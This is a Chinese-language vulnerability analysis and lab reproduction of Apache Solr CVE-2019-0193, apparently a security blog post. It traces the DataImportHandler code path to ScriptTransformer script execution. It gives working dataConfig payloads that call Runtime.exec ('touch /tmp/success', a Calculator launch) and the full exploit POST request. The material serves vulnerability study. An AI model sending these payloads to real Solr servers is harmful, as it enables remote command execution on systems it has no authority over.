漏洞介绍

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

漏洞范围

Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用),存在该漏洞。
Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。

靶场配置

使用vulhub的靶场

环境为Apache solr 8.1.1

/vulhub-master/solr/CVE-2019-0193

1
启动靶场:docker-compose up -d

漏洞原理

此漏洞位于Apache Solr的可选模块DataImportHandler模块中。

模块介绍:
DataImportHandler模块
虽然是一个可选模块,但是它常常被使用。
该模块的作用:从数据源(数据库或其他源)中提取数据。

  • 该模块的配置信息 “DIH配置”(DIH configuration) 可使用以下的方式指定:
    • Server端 - 通过Server的“配置文件“来指定配置信息”DIH配置”
    • web请求 - 使用web请求中的dataConfig参数(该参数用户可控)来指定配置信息”DIH配置”(整个DIH配置可以来自请求的“dataConfig”参数)

Apache Solr如果启用了DataImportHandler模块,因为它支持使用web请求来指定配置信息”DIH配置” ,攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容),dataConfig内容完全可控(多种利用方式),后端处理的过程中,可导致命令执行。

Solr在处理dataimport请求时,会进入DataImportHandlerhandleRequestBody方法,如果请求的command为full-import,则会重新加载配置。

在加载配置的过程中,如果dataConfig参数不为空,它会通过readFromXml方法解析提交的配置数据中的各个标签,如documentscriptfunctiondataSource等。

ScriptTransformer允许多种脚本语言调用,如JavaScript、JRuby、Jython、Groovy和BeanShell等。在transformRow()方法中,会根据指定的语言初始化对应的解析引擎,例如JavaScript脚本。

Solr中默认的JavaScript引擎是Nashorn,它允许在JavaScript中通过Java.type引用Java类,从而可以执行任意代码

路由分析:Web后端收到URL为 /solr/xxx_core_name/dataimport 的 HTTP请求时,会将HTTP请求实参req传入DataImportHandler类的handleRequestBody方法。

文件位置:/solr-8.1.1/dist/solr-dataimporthandler-8.1.1.jar!/org/apache/solr/handler/dataimport/DataImportHandler.class

关键的类:org.apache.solr.handler.dataimport.DataImportHandler

按command+F12查看 DataImportHandler类的方法 和 成员变量
img

关键方法:很容易发现,DataImportHandler类的handleRequestBody方法是用于接受HTTP请求的。
在该方法下断点,以便跟踪输入的数据是如何被处理的。(函数体过长 我折叠了部分逻辑)

img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DataImportHandler.class#L80-L167,L143,L145

执行逻辑:从PoC中可见,HTTP请求中有debug=true,根据handleRequestBody方法体中的if-else分支判断逻辑可知,会调用maybeReloadConfiguration方法(功能是重新加载配置)。

关键方法:maybeReloadConfiguration方法
关键语句:this.importer.maybeReloadConfiguration(requestParams, defaultParams);
img

solr\contrib\dataimporthandler\src\java\org\apache\solr\handler\dataimport\DataImportHandler.java#L138-L158

跟进(Step into)关键方法 maybeReloadConfiguration 方法
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DataImporter.class#L102-L158

关键语句:String dataConfigText = params.getDataConfig();//获取HTTP请求中POST body中的参数dataConfig的值
执行逻辑:maybeReloadConfiguration方法体中,会获取HTTP请求中POST body中的参数dataConfig的值,即“DataConfig配置信息“,如果该值不为空则该值传递给loadDataConfig方法(功能是加载DataConfig配置信息)

本次调试过程中的”DataConfig配置信息”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

解释:
<dataSource type="URLDataSource"/>表示数据源的类型为URLDataSource

并且该数据源的实体,属性如下

1
2
3
4
5
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />

跟进(Step into)关键方法 loadDataConfig方法
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DataImporter.class#L176-L224

执行逻辑:loadDataConfig方法的具体实现中,207行调用了readFromXml方法,从xml数据中读取信息。
关键语句:dihcfg = this.readFromXml(document);

跟进(Step into)关键方法 readFromXml方法
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DataImporter.class#L226-L328

关键语句:return new DIHConfiguration((Element)documentTags.get(0), this, functions, script, dataSources, pw);

执行逻辑:readFromXml方法的具体实现中,根据各种不同名称的标签(如document,script,function,dataSource等),得到了配置数据中的元素。如,配置信息中的自定义脚本在此处被赋值给名为scriptScript类型的变量中。使用“迭代器“递归解析完所有标签后,new一个DIHConfiguration对象(传入的6个实参中有个是script变量),这个DIHConfiguration对象作为readFromXml方法的返回值,被return。

该DIHConfiguration对象,实际赋值给了(调用readFromXml方法的) loadDataConfig方法体中的名为dihcfg的变量。(见图3)

回溯:现在的情况是,之前在loadDataConfig方法体中调用了的readFromXml方法已经执行结束并返回了一个DIHConfiguration对象,赋值给了loadDataConfig方法体中的那个名为dihcfg的变量,loadDataConfig方法成功获取到配置信息。

回溯:现在的情况是,之前的maybeReloadConfiguration方法体中调用了的loadDataConfig方法执行结束,DataImporter类的maybeReloadConfiguration方法也得到它需要的boolean返回值,true(见图2)

DataImporter类 org.apache.solr.handler.dataimport.DataImporter

DataImporter类 包含的方法和变量,如图,重点关注的方法是:

1
2
3
maybeReloadConfiguration方法 - boolean maybeReloadConfiguration(RequestInfo params, NamedList<?> defaultParams)
doFullImport方法 - public void doFullImport(DIHWriter writer, RequestInfo requestParams)
runCmd方法

img
img

回溯:现在的情况可参考图0,回到了DataImportHandler类的handleRequestBody方法体中,在该方法体中调用了的(DataImporter类中的)maybeReloadConfiguration方法已经执行结束,继续向下执行到关键语句this.importer.runCmd(requestParams, sw);调用了(DataImporter类中的)runCmd方法

跟进(Step into)关键方法 :(DataImporter类中的)runCmd方法
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DataImporter.class#L485-L508

跟进DataImporter类中的doFullImport方法体
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DataImporter.class#L427-L448

功能如下
首先创建一个DocBuilder对象。
DocBuilder对象的主要功能是从给定配置中创建Solr文档 该对象具有名为configDIHConfiguration类型的成员变量 见代码 private DIHConfiguration config;

然后调用该DocBuilder对象的execute()方法,作用是使用“迭代器“ this.config.getEntities().iterator();
,解析”DIH配置” 即名为configDIHConfiguration类型的成员变量,根据“属性名称“(如preImportDeleteQuery、postImportDeleteQuery、)获得Entity的所有属性。

最终得到是一个EntityProcessorWrapper对象。

简单介绍下DocBuilder类。
DocBuilder类 org.apache.solr.handler.dataimport.DocBuilder

DocBuilder类 包含的方法,如下图,重点关注:

1
2
execute()方法  -   public void execute()
doFullDump()方法 - private void doFullDump()

img

简单介绍下EntityProcessorWrapper类。
EntityProcessorWrapper类 org.apache.solr.handler.dataimport.EntityProcessorWrapper

EntityProcessorWrapper是一个比较关键的类,继承自EntityProcessor,在整个解析过程中起到重要的作用。

EntityProcessorWrapper类的更多信息参考
https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

EntityProcessorWrapper类 包含的方法,如下图,重点的是:
loadTransformers()方法 - 作用:加载转换器
img

在解析完config数据后,solr会把最后“更新时间“记录到配置文件中,这个时间是为了下次进行增量更新的时候用的。
接着通过this.dataImporter.getStatus()判断当前数据导入是“增量导入”即doDelta()方法,还是“全部导入”即doFullDump()方法。
本次调试中的操作是全部导入”,因此调用doFullDump()方法
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DocBuilder.class#L161-L267

跟进DocBuilder类中的doFullDump方法体:

1
2
3
4
private void doFullDump() {
this.addStatusMessage("Full Dump Started");
this.buildDocument(this.getVariableResolver(), (DocBuilder.DocWrapper)null, (Map)null, this.currentEntityProcessorWrapper, true, (ContextImpl)null);
}

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DocBuilder.class#L314-L317

可见,在doFullDump()方法体中,调用的是DocBuilder类中的buildDocument()方法。
作用是为发送的配置数据的每一个Processor做解析(调用getVariableResolver()方法),当发送的entity中含有Transformers时,会进行相应的转换操作。

例如 DateFormatTransformer 转换成日期格式
例如 RegexTransformer 根据正则表达式转换
例如 ScriptTransformer 根据用户自定义的脚本进行数据转换(漏洞关键:脚本内容完全用户可控!!)
等等

具体如何执行JavaScript脚本?继续跟进,DocBuilder类中的buildDocument()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
private void buildDocument(VariableResolver vr, DocBuilder.DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {
ContextImpl ctx = new ContextImpl(epw, vr, (DataSource)null, pk == null ? "FULL_DUMP" : "DELTA_DUMP", this.session, parentCtx, this);
epw.init(ctx);
if (!epw.isInitialized()) {
entitiesToDestroy.add(epw);
epw.setInitialized(true);
}

if (this.reqParams.getStart() > 0) {
this.getDebugLogger().log(DIHLogLevels.DISABLE_LOGGING, (String)null, (Object)null);
}

if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.START_ENTITY, epw.getEntity().getName(), (Object)null);
}

int seenDocCount = 0;

try {
while(!this.stop.get()) {
if (this.importStatistics.docCount.get() > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
return;
}

try {
++seenDocCount;
if (seenDocCount > this.reqParams.getStart()) {
this.getDebugLogger().log(DIHLogLevels.ENABLE_LOGGING, (String)null, (Object)null);
}

if (this.verboseDebug && epw.getEntity().isDocRoot()) {
this.getDebugLogger().log(DIHLogLevels.START_DOC, epw.getEntity().getName(), (Object)null);
}

if (doc == null && epw.getEntity().isDocRoot()) {
doc = new DocBuilder.DocWrapper();
ctx.setDoc(doc);

for(Entity e = epw.getEntity(); e.getParentEntity() != null; e = e.getParentEntity()) {
this.addFields(e.getParentEntity(), doc, (Map)vr.resolve(e.getParentEntity().getName()), vr);
}
}

Map<String, Object> arow = epw.nextRow();
if (arow == null) {
return;
}

if (epw.getEntity().isDocRoot()) {
if (seenDocCount <= this.reqParams.getStart()) {
continue;
}

if ((long)seenDocCount > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
log.info("Indexing stopped at docCount = " + this.importStatistics.docCount);
return;
}
}

if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ENTITY_OUT, epw.getEntity().getName(), arow);
}

this.importStatistics.rowsCount.incrementAndGet();
DocBuilder.DocWrapper childDoc = null;
if (doc != null) {
if (epw.getEntity().isChild()) {
childDoc = new DocBuilder.DocWrapper();
this.handleSpecialCommands(arow, childDoc);
this.addFields(epw.getEntity(), childDoc, arow, vr);
doc.addChildDocument(childDoc);
} else {
this.handleSpecialCommands(arow, doc);
vr.addNamespace(epw.getEntity().getName(), arow);
this.addFields(epw.getEntity(), doc, arow, vr);
vr.removeNamespace(epw.getEntity().getName());
}
}

if (epw.getEntity().getChildren() != null) {
vr.addNamespace(epw.getEntity().getName(), arow);
Iterator var12 = epw.getChildren().iterator();

while(var12.hasNext()) {
EntityProcessorWrapper child = (EntityProcessorWrapper)var12.next();
if (childDoc != null) {
this.buildDocument(vr, childDoc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
} else {
this.buildDocument(vr, doc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
}
}

vr.removeNamespace(epw.getEntity().getName());
}

if (epw.getEntity().isDocRoot()) {
if (this.stop.get()) {
return;
}

if (!doc.isEmpty()) {
boolean result = this.writer.upload(doc);
if (this.reqParams.isDebug()) {
this.reqParams.getDebugInfo().debugDocuments.add(doc);
}

doc = null;
if (result) {
this.importStatistics.docCount.incrementAndGet();
} else {
this.importStatistics.failedDocCount.incrementAndGet();
}
}
}
} catch (DataImportHandlerException var24) {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var24);
}

if (var24.getErrCode() != 301) {
if (!isRoot) {
throw var24;
}

if (var24.getErrCode() == 300) {
this.importStatistics.skipDocCount.getAndIncrement();
doc = null;
} else {
SolrException.log(log, "Exception while processing: " + epw.getEntity().getName() + " document : " + doc, var24);
}

if (var24.getErrCode() == 500) {
throw var24;
}
}
} catch (Exception var25) {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var25);
}

throw new DataImportHandlerException(500, var25);
} finally {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.ROW_END, epw.getEntity().getName(), (Object)null);
if (epw.getEntity().isDocRoot()) {
this.getDebugLogger().log(DIHLogLevels.END_DOC, (String)null, (Object)null);
}
}

}
}

} finally {
if (this.verboseDebug) {
this.getDebugLogger().log(DIHLogLevels.END_ENTITY, (String)null, (Object)null);
}

}
}

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\DocBuilder.class#L400-L591

可见方法体中,有一行语句是Map<String, Object> arow = epw.nextRow();,功能是“读取EntityProcessorWrapper的每一个元素“,该方法返回的是一个Map对象。

对该语句下断点,进入EntityProcessorWrapper类中的nextRow方法:
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\EntityProcessorWrapper.class#L219-L248

可见,EntityProcessorWrapper类中的nextRow方法体242行中,调用了EntityProcessorWrapper类中的applyTransformer()方法。

继续跟进,EntityProcessorWrapper类中的applyTransformer()方法体:
功能
第1步.调用loadTransformers方法,作用是“加载转换器“
第2步.调用对应的Transformer的transformRow方法
img

applyTransformer()方法体,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
protected Map<String, Object> applyTransformer(Map<String, Object> row) {
if (row == null) {
return null;
} else {
if (this.transformers == null) {
this.loadTransformers();
}

if (this.transformers == Collections.EMPTY_LIST) {
return row;
} else {
Map<String, Object> transformedRow = row;
List<Map<String, Object>> rows = null;
boolean stopTransform = this.checkStopTransform(row);
VariableResolver resolver = this.context.getVariableResolver();
Iterator var6 = this.transformers.iterator();

while(var6.hasNext()) {
Transformer t = (Transformer)var6.next();
if (stopTransform) {
break;
}

try {
if (rows == null) {
resolver.addNamespace(this.entityName, transformedRow);
Object o = t.transformRow(transformedRow, this.context);
if (o == null) {
return null;
}

if (o instanceof Map) {
Map oMap = (Map)o;
stopTransform = this.checkStopTransform(oMap);
transformedRow = (Map)o;
} else if (o instanceof List) {
rows = (List)o;
} else {
log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
}
} else {
List<Map<String, Object>> tmpRows = new ArrayList();
Iterator var9 = ((List)rows).iterator();

while(var9.hasNext()) {
Map<String, Object> map = (Map)var9.next();
resolver.addNamespace(this.entityName, map);
Object o = t.transformRow(map, this.context);
if (o != null) {
if (o instanceof Map) {
Map oMap = (Map)o;
stopTransform = this.checkStopTransform(oMap);
tmpRows.add((Map)o);
} else if (o instanceof List) {
tmpRows.addAll((List)o);
} else {
log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
}
}
}

rows = tmpRows;
}
} catch (Exception var13) {
log.warn("transformer threw error", var13);
if ("abort".equals(this.onError)) {
DataImportHandlerException.wrapAndThrow(500, var13);
} else if ("skip".equals(this.onError)) {
DataImportHandlerException.wrapAndThrow(300, var13);
}
}
}

if (rows == null) {
return transformedRow;
} else {
this.rowcache = (List)rows;
return this.getFromRowCache();
}
}
}
}

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\EntityProcessorWrapper.class#L132-L213

第1步.
调用loadTransformers()方法。
查看loadTransformers()方法体,可见它的作用是“加载转换器“:
即如果transscript:开头,则new一个ScriptTransformer对象。
img

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\EntityProcessorWrapper.class#L85

loadTransformers()方法体,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void loadTransformers() {
String transClasses = this.context.getEntityAttribute("transformer");
if (transClasses == null) {
this.transformers = Collections.EMPTY_LIST;
} else {
String[] transArr = transClasses.split(",");
this.transformers = new ArrayList<Transformer>() {
public boolean add(Transformer transformer) {
if (EntityProcessorWrapper.this.docBuilder != null && EntityProcessorWrapper.this.docBuilder.verboseDebug) {
transformer = EntityProcessorWrapper.this.docBuilder.getDebugLogger().wrapTransformer(transformer);
}

return super.add(transformer);
}
};
String[] var3 = transArr;
int var4 = transArr.length;

for(int var5 = 0; var5 < var4; ++var5) {
String aTransArr = var3[var5];
String trans = aTransArr.trim();
if (trans.startsWith("script:")) {
this.checkIfTrusted(trans);
String functionName = trans.substring("script:".length());
ScriptTransformer scriptTransformer = new ScriptTransformer();
scriptTransformer.setFunctionName(functionName);
this.transformers.add(scriptTransformer);
} else {
try {
Class clazz = DocBuilder.loadClass(trans, this.context.getSolrCore());
if (Transformer.class.isAssignableFrom(clazz)) {
this.transformers.add((Transformer)clazz.newInstance());
} else {
Method meth = clazz.getMethod("transformRow", Map.class);
this.transformers.add(new EntityProcessorWrapper.ReflectionTransformer(meth, clazz, trans));
}
} catch (NoSuchMethodException var10) {
String msg = "Transformer :" + trans + "does not implement Transformer interface or does not have a transformRow(Map<String.Object> m)method";
log.error(msg);
DataImportHandlerException.wrapAndThrow(500, var10, msg);
} catch (Exception var11) {
log.error("Unable to load Transformer: " + aTransArr, var11);
DataImportHandlerException.wrapAndThrow(500, var11, "Unable to load Transformer: " + trans);
}
}
}

}
}

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\EntityProcessorWrapper.class#L59-L107

第2步.调用对应的Transformer的transformRow方法

transformRow方法体的执行步骤:
第(1)步.初始化脚本引擎
第(2)步.使用invoke执行脚本
img

transformRow方法体,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object transformRow(Map<String, Object> row, Context context) {
try {
if (this.engine == null) {
this.initEngine(context);
}

return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);
} catch (DataImportHandlerException var4) {
throw var4;
} catch (Exception var5) {
DataImportHandlerException.wrapAndThrow(500, var5, "Error invoking script for entity " + context.getEntityAttribute("name"));
return null;
}
}

dist\solr-dataimporthandler-8.1.1\org\apache\solr\handler\dataimport\ScriptTransformer.class#L21-L34

第(1)步:
transformRow方法体中的语句this.initEngine(context);调用了initEngine方法(该方法只做初始化,并未执行JavaScript脚本)

调试过程中,可查看到initEngine方法中的名为scriptText的String类型的变量,值为:

1
2
function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}

第(2)步:
调用Nashorn脚本引擎的invokeFunction方法,在Java环境中执行JavaScript脚本:

transformRow方法体中的语句this.engine.invokeFunction(this.functionName, row, context);

附:Nashorn脚本引擎的invokeFunction方法定义:

1
2
3
public Object invokeFunction(String name, Object... args) throws ScriptException, NoSuchMethodException {
return this.invokeImpl((Object)null, name, args);
}

后来发现Solr中的Nashorn脚本引擎的invokeFunction方法(这个能执行JavaScript代码的“值得关注”的方法),其实只在ScriptTransformer类中被调用。

漏洞利用链

  1. 获取Core信息:攻击者可以通过发送HTTP请求到Solr的admin/cores接口来获取所有core的信息
  2. 构造Payload:攻击者需要构造一个包含恶意脚本的DataImportHandler配置(dataConfig)。这个配置可以通过HTTP POST请求发送到Solr的/dataimport接口。
  3. 执行恶意命令:在dataConfig中,攻击者可以定义一个脚本函数,该函数在处理数据时被调用。
  4. 发送攻击请求:使用工具如BurpSuite发送构造的攻击载荷到Solr服务器。如果服务器存在漏洞,攻击者的命令将被执行。

漏洞复现

首先在页面左侧选择demo核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dataConfig>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="sample"
fileName=".*"
baseDir="/"
processor="FileListEntityProcessor"
recursive="false"
transformer="script:poc" />
</document>
</dataConfig>

image-20241023200636658

点击Execute with this Confuguration会发送以下请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /solr/demo/dataimport?_=1708782956647&indent=on&wt=json HTTP/1.1
Host: your-ip:8983
Content-Length: 613
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://your-ip:8983
Referer: http://your-ip:8983/solr/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=demo&dataConfig=%3CdataConfig%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22sample%22%0A++++++++++++fileName%3D%22.*%22%0A++++++++++++baseDir%3D%22%2F%22%0A++++++++++++processor%3D%22FileListEntityProcessor%22%0A++++++++++++recursive%3D%22false%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

执行docker compose exec solr ls /tmp进入容器,可见touch /tmp/success已成功执行:

image-20241023200917012

参考

https://xz.aliyun.com/t/5965?time__1311=n4%2BxnivODQeqBdbDyDmxmq0KDtG8D2YDIObD

CVE-2019-0193漏洞复现 - 终落 - 博客园 (cnblogs.com)